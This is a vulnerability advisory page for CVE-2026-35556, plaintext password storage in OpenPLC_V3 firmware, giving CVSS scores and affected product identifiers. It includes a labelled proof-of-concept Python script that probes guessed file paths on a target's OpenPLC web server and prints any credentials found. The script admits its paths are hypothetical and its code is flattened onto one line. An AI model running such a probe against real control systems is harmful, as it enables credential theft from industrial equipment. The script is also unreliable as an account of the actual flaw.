Security Vulnerability Report
中文
CVE-2026-35556 CVSS 7.5 HIGH

CVE-2026-35556

Published: 2026-04-09 19:16:26
Last Modified: 2026-04-16 20:49:31

Description

OpenPLC_V3 is vulnerable to a Plaintext Storage of a Password vulnerability that could allow an attacker to retrieve credentials and access sensitive information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:openplcproject:openplc_v3_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:openplcproject:openplc_v3:-:*:*:*:*:*:*:* - NOT VULNERABLE
OpenPLC_V3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_openPLC_creds(target_ip): # Target URL of the OpenPLC web server base_url = f"http://{target_ip}:8080" # Common path where credentials might be stored in plaintext (Hypothetical path) # Based on the vulnerability description of plaintext storage. sensitive_paths = [ "/webserver/users.json", "/users.db", "/config/passwd.txt" ] print(f"[*] Checking {target_ip} for plaintext credentials...") for path in sensitive_paths: url = base_url + path try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Potential credential file found at: {url}") print("[+] Content:") print(response.text) # Analyze content for password fields if "password" in response.text.lower(): print("[!] WARNING: Plaintext passwords detected in response!") except requests.RequestException as e: continue if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" check_openPLC_creds(target)

References

Raw JSON Data

JSON
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